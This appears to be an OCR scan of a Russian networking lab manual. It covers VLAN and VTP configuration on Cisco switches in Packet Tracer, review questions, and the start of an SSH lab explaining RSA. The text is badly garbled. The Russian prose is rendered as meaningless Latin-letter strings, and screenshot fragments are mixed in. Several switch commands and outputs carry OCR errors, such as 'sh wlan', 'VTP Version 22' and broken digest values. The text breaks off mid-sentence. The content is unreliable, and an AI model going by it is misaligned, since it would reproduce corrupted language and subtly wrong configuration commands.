Cy1iecTBYIOT TpU pekuMa paboThl KomMmyTaTopa B jomeHe VTP:

Cepgep (Server). DTOT peXUM YCTaHOBJICH IO YMOJYaHUIO BO Beex kommyTtaropax Catalyst. B nomene
VTP nHeoO6xoauMm xoTs ObI OJUH CepBEp AJIs pacrpocTpaneHus o gomeny nnpopmarmu o VLAN. Kommyrtarop
00s13aH HAXOJUTHCSI B CEPBEPHOM pEXKUME JUIsl Co3[aHus, Jo0aBieHus win ynanenus cereii VLAN B nomeHe
VTP. Usmenenne unpopmanuu VTP Toxe NOKHO MPOU3BOAUTHECS B pexkuMe cepsepa. JIroOble n3MeHeHHs,
CIECJIaHHBIE B CEPBEPHOM KOMMYTATOpPE, pacChUIatOTCA 10 BceMy A1oMeHy VTP.

Kauent (Client). Ilpunumaer unpopmanmio ot cepepoB VTP, a Taxke NpuHMMaeT M OTIPABISET
OOHOBJICHUS, XOTS HE CIIOCOOEH MPOBOJIUTH M3MEHEHUH. [1opThl KIIMEHTCKOr0 KOMMYTaTOpa HE MOTYT OBITh
npucBoeHbl HOBOM cetd VLAN, noka cepsep VTP He yBenoMuT KiMeHTCKU KommyTaTop 0 HoBoM cetu VLAN.
Yrobbl cienaTb KOMMYTaTOp CEpBEPOM, HEOOXOJMMO CHayajla BKIIOYUTh HAa HEM KIHUEHTCKUN PeXUM IS
noiy4enus Bceid napopmanuu VLAN, a 3aTeM nepeiTi B CEpBEPHBINA PEKHIM.

IMpo3paunbiii pexxum (Transparent). YcrpoiictBo He ydactByeT B jgomeHe VTP, HO mepechbuiaer
yBeqomiieHuss VTP 1o NOAKIIOYEHHBIM K HEMY MAarucrpaibHbIM cBs3sM. [Ipospaunsni pexum VTP B
KOMMYTaTope Mo3BoJisAeT 100aBiuaTh U ynaniatb VLAN cornacHo coOcTBeHHOHN 0a3e JaHHBIX YCTPOMCTBa, HO
3TOT PEXKHM 3alperiacT COBMECTHOE UCIIOIb30BaHNe HH(OpMaIuu ¢ IpyruMu Kommyraropamu. [Ipo3paunsrit
PEXKUM UMEET CMBICIT TOJIBKO JJI51 JIOKAJIBHOTO UCIIOIb30BAHMUSL.

1. IIpakTuyeckas yactb. Hactpoiika VLAN Ha npuMepe 0HOr0 KOMMYTaTOpa

3aganue 1. Heobxoaumo co3mate Ha kommyTatope mo oaHoi VLAN 11t Kax1oi mapsl KOMITBIOTEPOB,
qr00bI ucKIIroUnTh B3aumoaeiicraue [1K1 u [TK2 ¢ I[1K3 u [1K4.

Xoa paGoTsI:

Cozpaiite mMonmenb u3 1 kommyTraTopa W 4 KOMIIBIOTEpOB (pabouyux CTaHIMIA) , aapec MOJCETH
(192.168.0.0/24).

Hlar 1. 3HakoMcTBO ¢ QU3HYCCKUMHU IapaMeTPaMM KOMMYTATOopa.

Ha Bxnanke Switches Beioupaem Switch 2960 u mepeHocHM ero B 00J1acTh JIorndeckoro ypoBus Packet
Tracer (Puc. 6).

B® Cisco Packet Tracer

File Edit ©Options View Tools Extensions Help

Logical [Root] Mew Cluster Mowe Obisct Set Tiled Backaround

2960-24TT
Switcho

« T = @)

Time: 00:00:44 | Power Cycle Devices Fast Forward Time Realume

e Wl O S (| (| (| | (a| | @B [Semrarie o -

I Switches ] | 'z2s0-24l | zssor 2960 | |generc) Igenenc! | [ = [ oetete__|

Fire Last Status Source Destinatior|

| _,g ; L <] 1 L3 [Toggle PDU List wuru:iuw]
— 2960-24TT

Pucynox 6-Jlormueckuii yposens Packet Tracer

Kiukaem no Hemy oauH pa3 JIKM, 4roOs! oTKpBITH OKHO HacTpoek. [lepexonum Ha Briaaky Phiysical ms
3HAKOMCTBA ¢ (PM3MUECKUMHU TapaMeTpaMu KoMMyTaropa (puc.22).
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Pucynok 7- BHemuHuii BUus1 KoMmmMyTaTopa

lar 2. Co3nanne VLAN.

[lepeiinure wa Bkiuanky CLI. [lng  BeIMOdNHEHHS KOHGUTYPUPOBaHHS HEOOXOJMMO BOWTH B
MIPUBUJICTUPOBAHHBIN PEXUM — JUIsI 3TOTO BBOAUM KomaHay enable. KommyraTtop moxer coznaBath VLAN,
TOJIBKO €ciau OH Haxoautcs B pexume VTP — «cepBep» mim VIP — «pospaunslit». Ilo ymomuanuro
koMmyTaTophl cepuii Catalyst 2900XL, 3500XL, 2950, 2970 u 2940 naxoasarcs B pexume "cepsep'. [IpoBeprTe
3TO C MOMOIIBI0 KoMaH 16l SHOW Vip status:

Switch#show vtp status

VTP Version 2
Configuration Revision 0
Maximum VLANSs supported locally : 255
Number of existing VLANS 5

VTP Operating Mode : Server

VTP Domain Name :

VTP Pruning Mode : Disabled

VTP V2 Mode : Disabled

VTP Traps Generation : Disabled

MD?5 digest : 0X7D Ox5A 0xA6 0xOE 0x9A 0x72 0xAO0 Ox3A

Configuration last modified by 0.0.0.0 at 0-0-00 00:00:00
Local updater ID is 0.0.0.0 (no valid interface found)

[Tocne nmposepku coctosinust VTP moxno co3naBath VLAN Ha kommyTtaTtope. [lo ymonuanuio (default)
Bce MopThl HaxonaTcs B ogHoM VLAN, umeronium Homep 1. IlepeumenoBars unu ynanutb VLAN 1 Henb3s.
ITpocmoTpeTts nHpOpManuio o cymecTByomux VLAN-X Ha KOMMYTaTope MOXHO C TOMOIIBI KOMaH 16l SHOW
vlan:

105 Command Line Interface

SWICCIIE =IO w LIl

VLAN MName Btatus Ports

1 defanlt actiwve FalOs1l, FalOfZ, FalOif3, FalOi4
FalO/f&, FalOf&, Falf7, FalO/f8
FalOs%, FalOf10, Fali1ll, Fal/flZ
Fadys13, FalOsf1l4, FaOs1l5, Falsle
FaOys17, FalOgf1l&8, FaOs19, Falszo
FaOyszl, FabOgfzz, FalOsz3, Falsfzd

lo0z fddi-defanlt act Mansup

10032 token-ring-defanlt act Mansup

1004 fddinet-default act fMansup

1005 trrnet-default act funsup

WLAN Type SATD MHTT Parent PRingMNo BridgelNo Stp EBErdgMode Transl TransE

Pucynok 8- IIpocmotp cymectByromux VLAN

Coznate VLAN MOXHO Tpemsi criocobamu:
1) Boiias B 6a3y VLAN:



Switchévlan database {

% Warning: It is recommended to configure VLAN from config mode,
=23 VLAN databsse mode is being deprecated. Please consult user
documentation for configuring VIP/VLAN in config mode.

Switchiwvlan)fvlan 5 name wlan 5 <

VLAEM 5 added:

Hame: wlan 5

Switchivlan)§~Z

Switch#

%5Y5-5-CONFIG_I: Configured from conscle by conscle

Switch#sh wlan

1002 fddi-default
1003 token-ring-default
1004 fddinet-default

act/unsup
act/unsup
act/unsup

VLAN Name Status Borts
1 default active Fal/1, Fa0O/2, Fal/3, Fa0/4
Fa0/5, Falf&, Fa0/7, F=0/8
Fa0/%, Fal/10, Falf11l, Fal/lZ
FalOs12, FalO/s14, Fa0/15, Fal/le
Fa0s17, FalOs18, Fa0/1%, Fal/Z0
Fa0/21, Fal/22Z, Fal/23, Fal/Z4
Giglsl, Giglsz
3 vlan 3 active
4 vlan_4 active
] vlan 5 active
1002 f£ddi-default act/unsup
1003 token-ring-default act/unsup
1004 fddinet-default act/unsup
1005 trmet-default act/unsup
2) I[IpUIIrcaB HHTep(beﬁcy HOMCp VLAN, KOTOpOfI OH TCIICPb ITPHUHAOJICIKHUT:
Switch({config) #int £a0/1
Switch (config-if) #awitchport access wlan 55
% RAccess VLAN does not exist. Creating wlanm 55
Switch (config-if) §|
3) 3aaaB B KOH(UTYPALIMOHHOM pexumMe Komauay vian [nomep VLANJ.
Switch|{config)$vlan 3
Switch{config-vlan)#
2LINE-5-CHAMEED: Interface Vlian3, changed state to up
Switchi{config-vlan) fname wvlan_ 3
SBwitch|{config-wlan)§~2
Switch#
%5Y5-5-CONFIz I: Configured from consocle by consocle
Switchg#sh wvlan
VLAN Hame Status Ports
1 default active Fal/f1, Fa0OsZ, Fal/f3, Fals4
Fal/f5, FalOsfe, Fal/7, Fal/s8
Fa0/%, Fal/10, Fal/11, Fald/1Z2
FaO/12, Fal/14, Fal/15, Fal/1%&
Fa0/17, Fal/f18, Fal/1%, FalO/s20
FaO/21, Fal/f2Z2, Fal/Z23, Fal/24
Giglsl, Giglsz
3 wlan 3 active

1005 trnet-default act/unsup

Coznanum VLAN uepes 6a3y, mpoiias cieayromue 3Tamnbl:
a) Bxon B 0a3y ganubix VLAN ¢ nomoreto komaner Vlan database:
Switch#vlan database

b) cozmanue vlan u npucBanBaHMUE el UMEHU:
Switch(vlan)#vlan 2 name vsetka_2

VLAN 2 added:

Name: vsetka 2

Cospmaiite camocrostensHo VLAN 3 ¢ umenem vsetka 3



C) BbIxoa u3 6a3bl maHHbIX VLAN Komanoii exit
Switch(vlan)#exit

APPLY completed.

Exiting....

d) mposepka cozganubix VLAN show vian:
IOs Command Line Interface

I ITE S I TET

VLAN MName Status Ports

1 de faralts actiwe FaOs1, FaOysz, FalOys2, FalOys4
FaO/s5, FalOs&, Faly/s7, Fal/sS
FaOs9, FaOs1l0, FalOs1ll, FaOFfls
FaOs12, FalOsld, Fals1l5, FalOsls
Fals 17, FadO#lg, FaOf1l9, FalO =0
FaOsz1, FalOszz, Fals 23, FalOszd

Z wsaetka Z actiwre

= wsetka 3 actitre

100z f£ddi—de fault act Sarnsap

token—ring—de fanalt act S/ unsup

1004 fddimnet-—default act Sarnsap

1005 tcrrnet—defaunlt act Sarnsap

WLANM Type SATD MT1T Parent PBingMNo EBridgelMMo =2t ErdgModse Tramnsl Transs
1 ernet 100001 1500 - - - - - o o

=4 ernet 10000z 1500 - - - - - o o

=] enet 100003 1500 - - - - - o o

100z f£d4d4d§5 10100z 1500 - - - - - o o

——More—— |

lar 3. KongurypupoBanue nopToB KOMMYTATOPa H OTHeceHHe UX K cooTBeTcTBYIOIUM VLAN

[Mepeiinem B pexxum koHpUrypauuu uatepdeiica komanaoi configure terminal (conf t). Cnenyromue
KoMaH 16l HazHauaT uaTep(deiic Fast Ethernet 0/1 B VLAN 2:

Switch(config)#int fa 0/1

Switch(config-if)#switchport access vlan 2

Switch(config-if)#exit

Ananornyno nponummte untepdeiic fa 0/2 B VLAN 2, a fa0/3 u fa0/4 B Vlan 3. Coxpanute
KOH(UTypaIuo KoMaHI0i Write memory:

Switch#write memory

Building configuration...

[OK]

[TpoBepbTe KOHDUTYpaIKio KoMaH10i Show vlan.
105 Command Line Interface

EICCIIR =IO v Ll

VLAN MName Etatus Portcs

1 defanlt actiwve FaOysL5, Falss, Falf7?, Falrfs
FalOys2, Fals10, Falfll, Fal/ilE
Fal/s12, Fal/fl4, FalO/1E5, Fal/fle
FaOs17, FadOs1l2, FaOs1%, Fal/sz0
FalD/s2l, FalO/f2Z, Fal/z3, Fal/:z4

Z vsetka Z actiwve FaOsl, Falrf:z

2 vsetka 2 active FaQ/2, Fal/s4

lo0z fddi-defaunlt act funsup

1003 token-ring-default

act fansun

Ilar 4. KonpurypupoBanue KOMINbIOTEPOB
Jo6Garnsiem Ha padounii cton B Tonosioruto - PC-PT (Pucynok 9).
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Pucynok 9 - Pa3menienue kommyraropa u [1IK

Hasnauuwm IP-agpeca kaxaoMy KOMITBIOTEPY:
- s PCO — 192.168.0.1,
- st PC1 — 192.168.0.2;
- s PC2 — 192.168.0.3;
- s PC3 —192.168.0.4.

Iar 5. CoennHeHune ycTpoiicTB

JIi1st coeTMHEHHsT KOMITBIOTEPOB ¢ KOMMYTAaTOpoM OyJieM ucrolib3oBaTh kadens Copper Straight-Through
¢ Brimagku Connections (Pucynoxk 10).

Pucynok 10- CoennHeHune ycTpoicTB

Crnenyer momoxJIaThb HEKOTOPOE BpeMsl, MOKa KOMMYTAaTOp 3aKOHUUT CBOK HACTPOMKYy, O 4eM HaM
COOOIIUT 3eJICHBIH IIBET MHIUKATOPOB. T.K. IPH HACTPOiTKke KOMMYyTaTopa Mbl onpeenityu noptel Fal/1 u Fa0/2
st VLAN 2, cnienoBatensno, PCO u PC1 mpunagnexxat VLAN 2, a PC2 u PC3 npunamiexar VLAN 3.

Iar 6. IIpoBepka paGboTOCIIOCOOHOCTH CETH
JInst mpoBepKU pabOTOCHOCOOHOCTH CETH BBIIIOJIHUM YTHIIUTY PING MEXAY BCeMH 4-Msi KOMITBIOTEpaMU
(Briaaka Desktop -> Command Prompt B okue HacTpoek kommbiotepa). Kommbroteps! B oxHoit VLAN BT

JpyT Apyra — yruinuta PiNg mpoxXoIuT HOpMaJIbHO, a KOMITBIOTEPHI B pa3HbIX VIan He BUaAT apyr apyra u ping
HE MPOXOJIHUT.

3ananue 2. Co3nanne VLAN Ha npumepe natu kommyrtatopos. [Iporokoa VTP
Jlis 3akperuieHHs] MOJIYYeHHBIX 3HAHUN pemmM Oojee CIOXHYIH 3amady. lloctpouM cxemy cerw,
n300paxEHHYI0 Ha pucyHke 11.
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Pucynok 11 - Tonosnorus cetu mist Hactpoiiku VLAN

Host-Student1

lar 1. Konpurypanuss KOMNbOTEPOB.

Jlns Havyana paboThl 331aiiTe KOMITbIOTEpaM uMeHa 1 IP-anpeca u3 cieayromux nyjaoB aJpecos:
10.1.10.0/16 nus ITK Students (VLAN 10)

10.1.20.0/16 most IIK Trainers (VLAN 20)

10.1.50.0/16 nnsa I1IK Servers (VLAN 50)

10.1.100.0/16 mns ITK MRKT (VLAN 100)

10.1.200.0/16 nns [TIK Management (VLAN 200)

st Toro, 4T0OBl KOMMYTATOPHI PAaBUIHHO B3aMMOJCHCTBOBAIH, HEOOXOAMMO MOPTHI, COSAMHSIONIHIE
co00ii pa3Hble KOMMYTaTOPBI, HACTPOUTH B pexkume trunk. Hamomuum, uto trunk —pexum paboTsl mopra,
KOTOPBIN 0OecrieurBaeT B3auMo/ieiicTBre Vlan Ha pa3HbIX KOMMyTaTopax.

Korma HeoOxomuMa cBs3b MEXAy JAByMs Vlan, HaxonsdimuMucs Ha pa3HBIX KOMMYTAaropax, B
xommyTatopax Cisco ucnonbzyercst Native VLAN- 3o VLAN, k KOTOpOMY KOMMYTaTOp OTHOCHUT BCE KaJIphlI,
uaymue 6e3 Tera, UK Kaaphbl, HOJIy4aeMble ¢ HepaclpeaesIeHHbIX ITOPTOB (MTIOPTOB, KOTOPBIE IBHO HE BKJIIOUEHBI
uu B o VLAN).

TpankoBblit mopT ¢ native vlan paGoTtaet cienyromum 00pa3om:

1. Eciiu u3 koMMyTaropa uepe3 trunk-nmopt BHIXOJUT KaJp U3 hative vlan — 1o TpaHKy OH uzaer 0e3 Tera
3aroyioBka (Tera) vlan.

2. Ecnu nio trunk-nopty npuxoaut kaap 0e3 3arojioBka vlan — oH otaercs B native vlan, HacTpOeHHBIN
i nopta. K HeMy npunuceiBaercs Ter native vlan.

Pacnpenenenne 1mo mopram cienyrouee:

e SWO: mopt FEO/1, FEOQ/2 — trunk;

e SW3: mopt FEO/1- trunk, FEO/2, FEO/3 —vlan_10, FE0/4 — vlan_20;

e SW4: nopt FEO/1- trunk, FEO/2, FEO/3 —vlan_10, FEO0/4 — vlan_20;

Ilar 2. Hacrpoiika nporokosaa VTP.

Tenepsr Bo3bMEMCs 3a KOH(MUTYpanno0 KOMMyTaTopoB. [IpoBepuB komanmoit Sh vtp status cepBepHsiii
CTaTyc KOMMYTaToOpoB, nepeBoauM kommyrtaropsl SW1 u SW2 B craryc «Transparenty, a SW3 u SW4 — B
cratyc «Clienty.

SW1(config)#vtp mode transparent
Setting device to VTP TRANSPARENT mode.

SW3(config)#vtp mode client
Setting device to VTP CLIENT mode.



Hactpoum uHTEpdeiichl, uepe3 KOTOpbIe COeANHEHBI KOMMYTaTOphl, B peskum trunk. Ha mpumepe SWO
HacTpouM ero untepdeiicel FastEthernet0/1 u FastEthernet0/2:

SWO0(config)#int fa 0/1
SWO0(config-if)#switchport mode trunk
SWO0(config)#int fa 0/2
SWO0(config-if)#switchport mode trunk

[To moram MBI yBUIMM, 4TO HMHTep(deHC mepe3arpy3wiicsi, MPUHUMAsT HOBBIC HACTPOWKH, WMHTEpdeiic
COCE/IHEr0 KOMMYTAaTopa Tak ke HpuHsul pexum trunk. Takum sxe 00pa3oM HACTPOMM HETBIPE APYIHX
KoMMmyTaropa. MHTepdelichl, K KOTOPBIM MOIKIIOUYEHBI K KOMMYTaTOpaM KOMITBIOTEPHI, IIOKa He Tporaem. J{is
TOT0, 4TOOBI 3apaboran VIP mpOTOKOJ, HEOOXOAMMO, YTOOBI KOMMYTATOPHI HAXOJIWINCh B OJHOM JOMEHE.
[Tponumiem ero Ha riaBHoM (SW0) koMmMmyTaTope:

SWO0(config)#vtp domain cisco (3To umsi 1oMeHa)

IIpexkae, yem nponuckiBaTh UMs aomMena VTP nporokosa, HeoOXxoaumMo yOeIuThCs, YTO BCE MOPTHI,
4yepe3 KOTOPhIe KOMMYTATOPbI MOAKIIOUEHBI IPYT K ApyTy, Haxoaarcs B pexume trunk. Crenars 370 MOXKHO ¢
IOMOIIIbI0 KoMaH 16l Sh vlan — mopts ¢ pexxumom trunk He OyayT BUIHBIL.

Homen cmenwiics co 3HadeHuss NULL na 3agannoe. [TocmMoTpuMm, 4TO Teneph BBIBOJUT KOMaH/a sh vip
status y SW1:

SW1i#sh vtp status

VTP Version 22

Configuration Revision 0

Maximum VLANS supported locally : 255

Number of existing VLANS 5

VTP Operating Mode : Transparent

VTP Domain Name :

VTP Pruning Mode : Disabled

VTP V2 Mode : Disabled

VTP Traps Generation : Disabled

MD?5 digest : OX7D Ox5A 0xA6 0xOE 0x9A 0x72 OxAO0 Ox3A
Configuration last modified by 0.0.0.0 at 0-0-00 00:00:00
1 SW3.

SWish vtp status

VTP Version : 2

Configuration Revision 0

Maximum VLANSs supported locally : 255
Number of existing VLANS 5

VTP Operating Mode : Client

VTP Domain Name : cisco

VTP Pruning Mode : Disabled

VTP V2 Mode : Disabled

VTP Traps Generation : Disabled

MDS5 digest : OXAA 0xB9 0x0C 0xCD 0xD7 OxE8 0xA6 OXEO
Configuration last modified by 0.0.0.0 at 0-0-00 00:00:00

Switch#

Y SW1 Huuero He U3MEHUIIOCH, IOTOMY YTO OH HaXOJUTCS B «IIPO3pAuHOM» pEXHUME, ceOe OH HUUYEro He
3armcai, Ho Tiepeian HHOPMAIHIO OT KOMMYTaTOpa-«cepBepay cienymmemMy kommyratopy, SW3, a ToT yxe
3amucan Kk cede B 0a3y UMs IOMEeHa, TaK Kak HaXOJUTCS B PEXKUME «KJIHEHTa». ITO 3HAYUT, 4TO npoTtokon VTP
paboTaeT KoppekTHO. TeMm He MeHee, He CMOTps Ha TO, YTO «IIPO3pPavyHbIi» KOMMYTAaTOp HUYETo HE Mpomucall
cebe, UMsI €ro JOMEHa JOJKHO OBITh TaKUM JK€, YTO M Y OCTaJbHBIX Ui KOPPEeKTHOW paboTsl. IlosTomy
HE00XO0IUMO 3a/1aTh UMl IOMEHA U JUISl «IIPO3PavyHbIX» KOMMYTaTOPOB.

Iar 3. Hactpoiika VLAN



Haunéwm nactpoiiky VLAN. Ha SWO0 co3gaém VLAN 10 ¢ umenem student u VLAN 20 ¢ umenem trainer.

4
Trainerd

WLAM 100

MLANZD

VLAN 5D

MLAN 1D

Ji_l

MLAN 200

-
Host-Trainerz

-
HostTrainerl

Pucynok 12 - Pacnpenenenue komnbiotepoB o VLAN
SWO(config)#vlan 10
SWO0(config-vlan)#name student
SWO(config-vlan)#ex
SWO0(config)#vlan 20
SWO0(config-vlan)#name trainer
SWO0(config-vlan)#ex

[IpoBepsieM, 4TO OHU CO3/1AIKCh:

SWO#sh vlan

VLAN Name Status Ports

1 default active Fa0/3, Fa0/4, Fa0/5, Fa0/6
Fa0/7, Fa0/8, Fa0/9, Fa0/10
Fa0/11, Fa0/12, Fa0/13, Fa0/14
Fa0/15, Fa0/16, Fa0/17, Fa0/18
Fa0/19, Fa0/20, Fa0/21, Fa0/22
Fa0/23, Fa0/24, Gigl/1, Gigl/2

10 student active

20 trainer active

[IpoBepsiem Ha kommyTaTopax SW3 u SW4:

SW3t#sh vlan

VLAN Name Status Ports

1 default active Fa0/2, Fa0/3, Fa0/4, Fa0/5
Fa0/6, Fa0/7, Fa0/8, Fa0/9
Fa0/10, Fa0/11, Fa0/12, Fa0/13
Fa0/14, Fa0/15, Fa0/16, Fa0/17
Fa0/18, Fa0/19, Fa0/20, Fa0/21
Fa0/22, Fa0/23, Fa0/24, Gigl/1
Gigl/2

10 student active

20 trainer active

«Knuents» npunsuti co3nanusie VLAN ot «cepBepa». Hactpoum tak Ha moprax SWO native vian,
nomep hative vlan magum 10 — Bce HeTerupoBanubie kaapsl moiayt Bo VLAN 10 ¢ umenem student.
SWO(config)#int fa0/1
SWO0(config-if)#switchport trunk native vlan 10



BAXKHO! Ecau B jiorax nocTOSIHHO NOSIBJISIETCS COOOIIIEHHUE!
%CDP-4-NATIVE_VLAN_MISMATCH: Native VLAN mismatch discovered on FastEthernet0/1 (10), with
SW1 FastEthernet0/1 (1).

D10 3HAYUT, 4TO Ha OAHOM KoHIe mpoBoaa Native VLAN ummeeT aApyroii HOMEp, 3HAYHT, Ha JAPYTOM
KOMMYTaToOpe HaJ0 MOCTABHTh Takod xke. Kak TOJIbKO MBI MPOMUIEM Ha 0OOMX KOHIIAX OJHOTO IMPOBOJA
omunakoBbic Native VLAN, HaMm MOKaKeTCs JIOT, YTO MOPT Pa30I0KUPOBaH.

K coxanenuto, nporokon VTP e mepenaér Bmectre ¢ VLAN’amu HOMEpa MOpPTOB, KOTOPHIE K HUM
NPUKPEIUICHBI, a MOTOMY 3TO MPUAETCS CAENaTh BPYYHYIO Ha KaxIoM KommyTarope. He 3a0wiBaem, 4TO
kommyTtaTopbl SW1 u SW2 naxonsarcs B pexxume Transparent, oau VLAN or «cepBepa» HE NPUHSIU, HO
OTIIPABUJIN «KJIHEHTam». IM Hy)HO co3aath cBoro 60a3y VLAN u npunucats Kk HUM MOPTHI:

e SW1: nopt FEO/1, FEO/2 — trunk, FEO/3, FE0/4 — vlan_200, FEO/5 — vlan_100;

e SW2: nopt FEO/1, FEO/2 — trunk, FEO/3 — vlan_20, FE0/4 — vlan_10, FEO/5, FEO0/6 — vlan_50.

Tak xe B 6a3e SW1 gomkasl ObITh co3aanbl Vlan 10 u vlan 20, Ho 6e3 mpumucky K mopram. Metoa u
KOMAaH/IbI T€ e, YTO OBLIH 10 ATOTO.

Ilar 4. [Tposepum cBsi3b Mexxay Host-Student] u Host-Student22 — ping nomkeH npoidtu, He CMOTpS Ha
TO, YTO OHM BXOAAT B oHY VLAN, pacnonoxeHHyro Ha pa3HbIX KOMMYTaToOpax.

KoHTpoJibHbIE BOIPOCHI:
1. Yro takoe JIBC?
2. Yro Takoe mMpoKoBemaTesnbHblii qoMeH? [upokosemarenbHbli mtopm?
3. Ha3naueHnme M OCHOBHBIEC XapaKTEPUCTHKH KOMMYTaTOpa (IIPOMYyCKHAsi CIOCOOHOCTh, MAKCHMAJTbHAs
HPOIYCKHAas CIOCOOHOCTb, KOJIMYECTBO OPTOB).
4. Yro takoe VLAN? Kakue oHn naroT npeumyiiecTBa’?
Ha xakom ypoBHe mozaenu OSI| paboraet kommyTtaTop?
Pacckaxwure nmyth kaapa no ypoBHsM mozenn OS| Ha npumMepe koMaH b1 Ping.
Cnoco0Os1 co3manusg VLAN.
Crpykrypa Ethernet-kagpa. Ctpykrypa TerupoBansoro Ethernet-kaapa.
. Uro Takoe VTP? Pexumbl paboThl KOMMYTAaTOPOB B 3TOM MPOTOKOJIE?
10.Yto Taxoe 802.197
11.Kakoii koMaHa0i MOkHO oTHecTH mopT K VLAN?
12.Yto0 Takoe VID u PVID?
13.Kakue KkoMaH/bl BBl UCTIOJIb30BANN AJ1s1 KOH(urypuposanus VLAN?
14.Kak MOXHO TIpOCMOTpeTh cKoHpurypupoBanusie VLAN?
15.Kaxk opranusosarts cBs13b Mexay 1K, pacnonoxxennsix B onHoi VLAN, HO Ha pa3HbIX KOMMYyTaTtopax?

©ooNO

JlabopaTopHas padora Ne 9.2.
Hoctyn k ooopynoBanuio Cisco mo nporoxosry SSH

Lenv nabopamopmnoii pabomet: N3y4uTh padoty mpotokoiaa SSH.

3aoauu:

e coOparh TOMOJOTHIO CETH

® HACTPOUTh BUPTYaJIbHBIA HHTEPJEIC KOMMYyTaTOpa
e HacTpouTh goctym no SSH kK koMMyTaTopy

e HactpouTh aoctyn no SSH k poyrepy

Teoperuyeckue cBeieHUs

B Hacrosiiee Bpems 171 MOTy4eHUs YAAJIEHHOTO JOCTYIA K CETEBOMY 000PYI0BaHUIO YACTO UCIIOJIb3YIOT
nportokos SSH.

SSH (Secure Shell) — cereBoit mpoTokos mpuKITaAHOTO YpoBHS Moaeau OS], MO3BOISIOMINI TPOU3BOINUTH
yJaJIeHHOE YIPaBJICHHE OIEPAMOHHOM CHCTeMOW (MM YCTpPOHCTBOM, Ha KOTOpPOM OHa paboTaer) Hu
tyHHenupoBaTh TCP-coenunenus ans nepenauu ¢daiinos. s cBoeit pabotel SSH ncnonb3yer 22 nopt

Ecnu BbI TOJIBKO HAUMHAIOUIMN CETEBOM MHXKEHEP, TO TOJDKHBI cebe YACHUTD, 4TO XOTh ycTpoiicTBa Cisco
u umeror GUI unTepdeiic ynpaieHus, ero HUKTO HE UCMONb3YeT, TaK Kak COeJAMHEHHE ssh HajexHee U
HOJTBEPKIAET, YTO YEJIOBEK, KOTOPBIN IO HEMY MOJKIIIOUYMIICS, KAK MUHUMYM 3HAET, 4To JenaeT. Eme onHum



U3 MPEUMYIIECTB SBJIAETCSA TO, YTO Ssh coelMHEHUe — 3TO MPOCTO KOHCONbHBINA BBOJA KOMaH], a, 3HAYUT, OH
KyIIaeT MeHblle Tpaduka u TpeOyeT MEHBIIYI0 CETEeBYIO MPOIMYCKHYIO CHOCOOHOCTb, B OTJIWYHMU OT
rpadudeckoro GUI unTepdeiica, a 3T0 03HAYAET, YTO YEPE3 HETO JIETKO MOXKHO YIPABIIATH YCTPOMCTBOM H3
MECT, IJie OU€Hb CIalblii HHTEpHET.

MHorue cpa3y MOTYT MPOBECTH aHAJIOTHIO ¢ MpoTokosoM telnet, Ho ecth omHO HO: ssh coeanHeHHE
mudpyeT U mepenaBaeMble MapoiId U BeCh OCTalbHOW Tpaduk. boHycom siBisiercss TO, 4TO mpH pabore 3a
yIaaEHHBIM KOMITBIOTEPOM 4Yepe3 JaHHYI0 KOMaHAHYI0 000JOYKY MOXKHO IepeaaBaTh MO 3allU(ppOBaHHOMY
KaHaJIy MeJMa- ¥ BUJCO-TIOTOKH, AAJIEKO 32 IPUMEPOM XOJUTh HE HY)KHO: BeO-KaMephl.

(MiHTepHAET)

Puc. 1 — Coenunenne mo SSH

[lepen Tem, Kak yCTaHOBHUTH COCAMHEHHE MPOUCXOAMUT ayTeHTU(UKAMS — MPOLEAYpa YCTAHOBICHUS
nouymHHOCTH. [Ipn ayreHTH(HKaINU TpeaABapUTETHLHO TeHEPHPYETCS apa OTKPHITOTO U 3aKPBITOTO KITF0Ya /s
orpeeneHHoro nojib3oparend. O0a (aiina XxpaHsaTcs Kak Ha yJaJleHHON MalliHe, TaK ¥ Ha MalllMHE, K KOTOPOi
IPOM3BOIUTCS MOIKIIOUEHUE. DTH (aiuibl HE MepearoTcs NPy ayTeHTU(UKALIUK, CHCTEMa JIMIIb MTPOBEPSIET,
YTO IOJIB30BATENNb OTKPBITOTO KIIOYA TAKXKE BJIAACET U 3aKpbIThIM. OTKPBITBIA KU HCIOJIB3YETCS IS
IPOBEPKU ANEKTPOHHON LIM(POBON MOANUCH U MIUPPOBAHUSA COOOIIEHUH. 3aKPBITHII KIH0Y UCIONb3YETCs IS
TeHepaluu 3JIeKTPOHHOM Lu(poBOi Noamucu U pacmiuppoBaHHUs COOOLIEHMH. DeKTpoHHas LupoBas
MOJIMUCH TO3BOJIAET MPOBEPUTHh OTCYTCTBUE HUCKAXEHUN HHQOpMAIMM, a Takke MOATBEpAUTh BiaJenblia
ceptudukarta. s mmdposanus ganHbx ¥ cozpanus LI ucnons3yercs kpunrorpadpuueckuii anroputm RSA.
Pabora RSA ocHOBBIBaeTCs Ha BBHIYMCIUTEIBLHON CIIOXXHOCTU 33/1auu (PaKTOPU3AIMK OOJIBIINX IIEJIBIX YUCE.
He Oynewm yrnyGnarbcst B 1e0pu, pacCMOTPUM MOBEPXHOCTHO U JJOCTATOYHO ISl TOHUMAaHMSL.

Cuenapuin: Bo6 nocbinaer Anuce coobwexnuwe m

7 Nmeet ceoit ‘
‘ | 3aKpbITblit KmoqiﬂA""ca‘
N

9 Umeer OTKpTbIN
‘ Q Bo6 U Kniou Anncp
4 bl
|
\Z \
CoobuieHne m CoobuieHne m
| A
4 |
WupposaHue Pacwuhposanune
Mepegaya 3awnppoBaHHLIX AaHHLIX C ;
c=m®mod (n) s m=c%mod (n)

Puc. 2 — CxematnuHoe onucanue padbotsl RSA

bo6 m Ammca mepenmceiBatoTcsi B MIHTEpHETE M XOTAT HMCMONB30BaTh IMU(GPOBAHUE IS XPAaHCHHS
nepenucku B cekpere. B RSA oTKpBITHIi 1 3aKpBITHIN KITIOY COCTOAT U3 Maphl YKCEN. 3aKPBITHIN KIIH0Y XPaHUTCS
B CEKpETe, a OTKPBITBIA cOO0IaeTcs. AJmca 3apaHee CreHepHUpOBaia 3aKPBITHIA M OTKPBITHIN KITIOY, a 3aTeM
oTnpaBuia OTKpeITEI boOy. bob xoueT mocnars coobuienne Anuce. bob mmdpyer coodieHue M, UCHOIB3YS
OTKpBITHIN KiTtou Anucel (e, N). B utore on nonydaer 3amudpoBanHoe coodiieHue C. Jlanee no kaHaity cBA3U
coobuieHue C mepenaercs Anuce. Anuca pacminpoBbIBa€T COOOIIEHHE C C MOMOIIBIO CBOETO 3aKPBITOIO
kmoua (d, N) u monmydaer ormpaBiieHHOe coobmenne M. Takum oOpa3om, ajisi TOro, 4ToObl pacmudpoBaTh


